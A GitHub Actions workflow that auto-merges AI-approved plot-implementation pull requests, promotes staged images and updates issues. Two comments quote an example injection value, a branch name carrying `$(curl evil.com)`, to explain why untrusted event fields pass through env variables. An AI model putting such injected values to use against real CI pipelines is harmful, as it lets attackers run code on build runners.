Skip to content

Merge: PR #5543

Merge: PR #5543 #4370

Workflow file for this run

name: "Impl: Merge"
run-name: "Merge: PR #${{ github.event.inputs.pr_number || github.event.pull_request.number }}"
# Auto-merge implementation PRs when ai-approved label is added
# Creates per-library metadata file and promotes GCS images
on:
pull_request:
types: [labeled]
workflow_dispatch:
inputs:
pr_number:
description: 'PR number to auto-merge'
required: true
type: number
concurrency:
group: impl-merge-${{ github.event.inputs.pr_number || github.event.pull_request.number || github.ref }}
cancel-in-progress: false
jobs:
merge:
runs-on: ubuntu-latest
permissions:
contents: write
pull-requests: write
issues: write
actions: write # Required for gh workflow run sync-postgres.yml
id-token: write # Required for Workload Identity Federation
steps:
- name: Check conditions
id: check
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Untrusted event fields routed through env: so they cannot reach
# the shell as command substitution. A branch named e.g.
# `implementation/foo/$(curl evil.com)` would have been executed
# when assigned via direct ${{ }} interpolation.
EVENT_NAME: ${{ github.event_name }}
EVENT_ACTION: ${{ github.event.action }}
EVENT_LABEL: ${{ github.event.label.name }}
EVENT_PR_BRANCH: ${{ github.event.pull_request.head.ref }}
EVENT_PR_NUMBER: ${{ github.event.pull_request.number }}
INPUT_PR_NUMBER: ${{ github.event.inputs.pr_number }}
GH_REPO: ${{ github.repository }}
run: |
if [[ "$EVENT_NAME" == "workflow_dispatch" ]]; then
PR_NUM="$INPUT_PR_NUMBER"
PR_DATA=$(gh pr view "$PR_NUM" --repo "$GH_REPO" --json headRefName,labels)
BRANCH=$(echo "$PR_DATA" | jq -r '.headRefName')
HAS_APPROVED=$(echo "$PR_DATA" | jq -r '[.labels[].name] | any(. == "ai-approved")')
else
ACTION="$EVENT_ACTION"
LABEL="$EVENT_LABEL"
BRANCH="$EVENT_PR_BRANCH"
PR_NUM="$EVENT_PR_NUMBER"
if [[ "$ACTION" != "labeled" || "$LABEL" != "ai-approved" ]]; then
echo "should_run=false" >> $GITHUB_OUTPUT
exit 0
fi
HAS_APPROVED="true"
fi
# Only process implementation/* branches
if [[ ! "$BRANCH" =~ ^implementation/ ]]; then
echo "::notice::Skipping: Branch '$BRANCH' is not implementation/*"
echo "should_run=false" >> $GITHUB_OUTPUT
exit 0
fi
if [[ "$HAS_APPROVED" != "true" ]]; then
echo "::notice::Skipping: PR does not have ai-approved label"
echo "should_run=false" >> $GITHUB_OUTPUT
exit 0
fi
echo "pr_number=$PR_NUM" >> $GITHUB_OUTPUT
echo "branch=$BRANCH" >> $GITHUB_OUTPUT
echo "should_run=true" >> $GITHUB_OUTPUT
- name: Checkout repository
if: steps.check.outputs.should_run == 'true'
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
with:
fetch-depth: 0
- name: Extract info from branch
if: steps.check.outputs.should_run == 'true'
id: extract
env:
# Route the (still-untrusted) branch name through env: rather than
# `${{ … }}` interpolation in the run body — otherwise a branch like
# `implementation/foo/$(curl evil.com)` would be re-interpreted as
# a shell command substitution at the assignment site.
BRANCH: ${{ steps.check.outputs.branch }}
run: |
# Format: implementation/{specification-id}/{library}
SPEC_ID=$(echo "$BRANCH" | cut -d'/' -f2)
LIBRARY=$(echo "$BRANCH" | cut -d'/' -f3)
# Language: only python supported today. If future branches encode language,
# parse it from the branch name here.
LANGUAGE="python"
echo "specification_id=$SPEC_ID" >> $GITHUB_OUTPUT
echo "library=$LIBRARY" >> $GITHUB_OUTPUT
echo "language=$LANGUAGE" >> $GITHUB_OUTPUT
- name: Validate PR completeness before merge
if: steps.check.outputs.should_run == 'true'
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
SPEC_ID: ${{ steps.extract.outputs.specification_id }}
LANGUAGE: ${{ steps.extract.outputs.language }}
LIBRARY: ${{ steps.extract.outputs.library }}
BRANCH: ${{ steps.check.outputs.branch }}
PR_NUM: ${{ steps.check.outputs.pr_number }}
run: |
# Fetch the PR branch to check its contents
git fetch origin "$BRANCH"
IMPL_FILE="plots/${SPEC_ID}/implementations/${LANGUAGE}/${LIBRARY}.py"
META_FILE="plots/${SPEC_ID}/metadata/${LANGUAGE}/${LIBRARY}.yaml"
# Check if implementation file exists on the PR branch
if ! git show "origin/${BRANCH}:${IMPL_FILE}" &>/dev/null; then
echo "::error::Implementation file missing on branch: ${IMPL_FILE}"
echo "::error::This indicates an incomplete generation - metadata exists but implementation is missing"
echo "::error::Closing PR to prevent partial merge"
gh pr close "$PR_NUM" --comment "**Merge blocked:** Implementation file \`${IMPL_FILE}\` is missing from this PR branch. Only metadata was found. This indicates an incomplete code generation. Please regenerate using \`generate:${LIBRARY}\` label."
exit 1
fi
# Check if metadata file exists
if ! git show "origin/${BRANCH}:${META_FILE}" &>/dev/null; then
echo "::warning::Metadata file missing on branch: ${META_FILE}"
echo "::warning::This is unusual but not blocking - metadata will be created on next review"
fi
echo "::notice::PR completeness validated: both implementation and metadata present"
- name: Get parent issue from PR body
if: steps.check.outputs.should_run == 'true'
id: issue
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
PR_NUM="${{ steps.check.outputs.pr_number }}"
PR_BODY=$(gh pr view "$PR_NUM" --json body -q '.body' 2>/dev/null || echo "")
ISSUE=$(echo "$PR_BODY" | grep -oP '\*\*Parent Issue:\*\* #\K\d+' | head -1 || echo "")
echo "number=$ISSUE" >> $GITHUB_OUTPUT
- name: Extract quality score from PR labels
if: steps.check.outputs.should_run == 'true'
id: quality
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
PR_NUM="${{ steps.check.outputs.pr_number }}"
LABELS=$(gh pr view "$PR_NUM" --json labels -q '.labels[].name' 2>/dev/null || echo "")
SCORE=$(echo "$LABELS" | grep -oP 'quality:\K\d+' | head -1 || echo "")
echo "score=$SCORE" >> $GITHUB_OUTPUT
- name: React with rocket emoji
if: steps.check.outputs.should_run == 'true'
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
PR_NUMBER: ${{ steps.check.outputs.pr_number }}
REPOSITORY: ${{ github.repository }}
run: |
gh api repos/$REPOSITORY/issues/$PR_NUMBER/reactions \
-f content=rocket
- name: Merge PR to main (with retry)
if: steps.check.outputs.should_run == 'true'
env:
# ADMIN_TOKEN: PAT with admin scope from a repo-admin user, used so
# that `gh pr merge --admin` can bypass the main-branch ruleset
# (required-status-checks). Falls back to GITHUB_TOKEN if not set so
# the workflow still runs and fails with a clear ruleset error
# instead of an opaque auth error.
GH_TOKEN: ${{ secrets.ADMIN_TOKEN || secrets.GITHUB_TOKEN }}
PR_NUM: ${{ steps.check.outputs.pr_number }}
REPOSITORY: ${{ github.repository }}
HAS_ADMIN_TOKEN: ${{ secrets.ADMIN_TOKEN != '' }}
run: |
if [ "$HAS_ADMIN_TOKEN" != "true" ]; then
echo "::warning::ADMIN_TOKEN secret is not set — merge will fail if main ruleset enforces required status checks. Add a fine-grained PAT with Contents:Write + Pull requests:Write + Administration:Read+Write as repo secret ADMIN_TOKEN."
fi
MAX_ATTEMPTS=5
for attempt in $(seq 1 $MAX_ATTEMPTS); do
echo "::notice::Merge attempt $attempt/$MAX_ATTEMPTS"
# Update branch before merge attempt
gh pr update-branch "$PR_NUM" --repo "$REPOSITORY" 2>/dev/null || true
sleep 2
# --admin bypasses the branch ruleset's required-status-check
# gate. Required because impl-generate.yml pushes via GITHUB_TOKEN,
# which by GitHub's anti-recursion design does not trigger
# downstream CI workflows (Run Linting / Run Tests / Run Frontend
# Tests), so impl PRs never get those checks. The pipeline already
# gates merge behind the AI quality review threshold.
#
# Bypass only works if the token has admin role. GITHUB_TOKEN is
# only `write`, so a repo-admin PAT is required (ADMIN_TOKEN).
if gh pr merge "$PR_NUM" \
--repo "$REPOSITORY" \
--squash \
--admin \
--delete-branch; then
echo "::notice::Merge successful on attempt $attempt"
exit 0
fi
if [ $attempt -lt $MAX_ATTEMPTS ]; then
DELAY=$((attempt * 10))
echo "::warning::Merge failed, retrying in ${DELAY}s..."
sleep $DELAY
fi
done
echo "::error::Merge failed after $MAX_ATTEMPTS attempts"
exit 1
# Note: quality_score is now set by impl-review.yml before merge
# The PR already contains the updated metadata when merged
- name: Authenticate to GCP
if: steps.check.outputs.should_run == 'true'
uses: google-github-actions/auth@7c6bc770dae815cd3e89ee6cdf493a5fab2cc093 # v3
with:
project_id: anyplot
workload_identity_provider: ${{ secrets.GCP_WORKLOAD_IDENTITY_PROVIDER }}
- name: Set up Cloud SDK
if: steps.check.outputs.should_run == 'true'
uses: google-github-actions/setup-gcloud@aa5489c8933f4cc7a4f7d45035b3b1440c9c10db # v3
- name: Promote GCS images to production
if: steps.check.outputs.should_run == 'true'
env:
SPEC_ID: ${{ steps.extract.outputs.specification_id }}
LANGUAGE: ${{ steps.extract.outputs.language }}
LIBRARY: ${{ steps.extract.outputs.library }}
run: |
STAGING="gs://anyplot-images/staging/${SPEC_ID}/${LANGUAGE}/${LIBRARY}"
PRODUCTION="gs://anyplot-images/plots/${SPEC_ID}/${LANGUAGE}/${LIBRARY}"
# Copy from staging to production
gsutil -m -h "Cache-Control:public, max-age=604800" cp -r "${STAGING}/*" "${PRODUCTION}/" 2>/dev/null || echo "No staging files to promote"
# Make production files public
gsutil -m acl ch -r -u AllUsers:R "${PRODUCTION}/" 2>/dev/null || true
# Clean up staging
gsutil -m rm -r "${STAGING}/" 2>/dev/null || true
rm -f /tmp/gcs-key.json
echo "::notice::Promoted images to production"
- name: Update issue labels
if: steps.check.outputs.should_run == 'true' && steps.issue.outputs.number != ''
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
ISSUE: ${{ steps.issue.outputs.number }}
LIBRARY: ${{ steps.extract.outputs.library }}
run: |
# Create labels if they don't exist
gh label create "impl:${LIBRARY}:done" --color "0e8a16" --description "${LIBRARY} implementation merged" 2>/dev/null || true
# Remove trigger and pending, add done
gh issue edit "$ISSUE" --remove-label "generate:${LIBRARY}" 2>/dev/null || true
gh issue edit "$ISSUE" --remove-label "impl:${LIBRARY}:pending" 2>/dev/null || true
gh issue edit "$ISSUE" --add-label "impl:${LIBRARY}:done"
- name: Post success to issue
if: steps.check.outputs.should_run == 'true' && steps.issue.outputs.number != ''
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
ISSUE: ${{ steps.issue.outputs.number }}
LANGUAGE: ${{ steps.extract.outputs.language }}
LIBRARY: ${{ steps.extract.outputs.library }}
SPEC_ID: ${{ steps.extract.outputs.specification_id }}
PR_NUM: ${{ steps.check.outputs.pr_number }}
QUALITY_SCORE: ${{ steps.quality.outputs.score }}
run: |
BODY="## :white_check_mark: ${LIBRARY} Complete
**${LIBRARY}** implementation for \`${SPEC_ID}\` has been merged to main.
**PR:** #${PR_NUM}"
if [ -n "$QUALITY_SCORE" ]; then
BODY="${BODY}
**Quality Score:** ${QUALITY_SCORE}/100"
fi
BODY="${BODY}
**Preview:** [light](https://storage.googleapis.com/anyplot-images/plots/${SPEC_ID}/${LANGUAGE}/${LIBRARY}/plot-light.png) · [dark](https://storage.googleapis.com/anyplot-images/plots/${SPEC_ID}/${LANGUAGE}/${LIBRARY}/plot-dark.png)
---
:robot: *[impl-merge](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})*"
gh issue comment "$ISSUE" --body "$BODY"
- name: Close issue if all libraries done
if: steps.check.outputs.should_run == 'true' && steps.issue.outputs.number != ''
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
ISSUE: ${{ steps.issue.outputs.number }}
SPEC_ID: ${{ steps.extract.outputs.specification_id }}
run: |
# All 9 supported libraries
LIBRARIES="matplotlib seaborn plotly bokeh altair plotnine pygal highcharts letsplot"
# Get current labels on the issue
LABELS=$(gh issue view "$ISSUE" --json labels -q '.labels[].name' 2>/dev/null || echo "")
# Count done and failed implementations
DONE_COUNT=0
FAILED_COUNT=0
DONE_LIBS=""
FAILED_LIBS=""
for lib in $LIBRARIES; do
if echo "$LABELS" | grep -q "^impl:${lib}:done$"; then
DONE_COUNT=$((DONE_COUNT + 1))
DONE_LIBS="$DONE_LIBS $lib"
elif echo "$LABELS" | grep -q "^impl:${lib}:failed$"; then
FAILED_COUNT=$((FAILED_COUNT + 1))
FAILED_LIBS="$FAILED_LIBS $lib"
fi
done
TOTAL=$((DONE_COUNT + FAILED_COUNT))
echo "::notice::Libraries: $DONE_COUNT done, $FAILED_COUNT failed, $TOTAL/9 total"
# Close issue if all 9 libraries are done OR done+failed=9
if [ "$TOTAL" -eq 9 ]; then
# Build status table
TABLE="| Library | Status |\n|---------|--------|"
for lib in $LIBRARIES; do
if echo "$DONE_LIBS" | grep -w -q "$lib"; then
TABLE="$TABLE\n| $lib | :white_check_mark: |"
elif echo "$FAILED_LIBS" | grep -w -q "$lib"; then
TABLE="$TABLE\n| $lib | :x: (not supported) |"
fi
done
if [ "$FAILED_COUNT" -eq 0 ]; then
TITLE=":tada: All Implementations Complete!"
SUMMARY="All 9 library implementations for \`${SPEC_ID}\` have been successfully merged."
else
TITLE=":white_check_mark: Implementations Complete"
SUMMARY="${DONE_COUNT}/9 implementations merged, ${FAILED_COUNT} libraries could not implement this plot type."
fi
gh issue comment "$ISSUE" --body "## ${TITLE}
${SUMMARY}
$(echo -e "$TABLE")
---
:robot: *[impl-merge](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})*"
gh issue close "$ISSUE"
echo "::notice::Closed issue #$ISSUE - all implementations complete ($DONE_COUNT done, $FAILED_COUNT failed)"
fi
- name: Trigger database sync
if: steps.check.outputs.should_run == 'true'
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
gh workflow run sync-postgres.yml
echo "::notice::Triggered sync-postgres.yml"